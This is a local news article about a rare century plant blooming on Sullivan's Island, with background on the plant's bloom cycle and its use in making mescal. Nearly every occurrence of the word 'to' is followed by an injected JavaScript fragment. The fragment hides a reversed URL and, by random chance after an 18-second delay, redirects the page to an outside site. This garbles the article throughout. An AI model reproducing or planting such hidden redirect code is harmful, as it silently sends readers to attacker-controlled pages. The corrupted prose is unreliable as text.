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Blooming yucca plant at the corner of Station 22 1/2 and Ben Sawyer Blvd.

Blooming yucca plant at the corner of Station 22 1/2 and Ben Sawyer Blvd.

A giant monster looms over the intersection of Middle Street and Station 22 ½ on Sullivan’s Island, and its great arms reach out over the roof of a small pink and teal island home. For a while, most island residents thought it looked like a giant asparagus until it began tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to sprout limbs, then short branches full of dozens and dozens of tubular yellow and orange flowers.
According tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the owner of the property, Jerry Kaynard, the plant is a yucca plant, or century plant, also known as an Agave Americana. Although the name is misleading, it is a rare occurrence tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to see this plant bloom; especially in climates north of Mexico. In fact, the blooming of one century plant in 1933 at the Bronx Zoo in New York City was heavily advertised, encouraging people tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to come out and see this “once in a century” event. Unfortunately, the botanist in charge of the plant predicted the stalk would blossom four weeks before it actually occurred, prompting a cartobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toon in the New Yorker which depicted a committee watching the first blooming of the plant in the park, checking their watches and declaring, “It’s been a hundred years and ten minutes, exactly.” The closer tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the south the plant grows, however, the more often it will send up a stalk. In South Carolina, the plants tend tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bloom every 25 – 28 years.
In its natural climate, the century plant blooms every 15 years, after which the plant dies; but if the stalk is cut before blooming, the plant will survive for a second sprouting. This is important tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the producers of Mexican mescal, as the sap produced at the base of a cut stalk is used tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make pulque, the national Mexican drink, which is then fermented and distilled tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make mescal. The flower stalk, if allowed tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to grow (and the stalks can reach anywhere from 15 – 40 feet high), can be used tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to make natural razor strops, rope fiber and insulating material.

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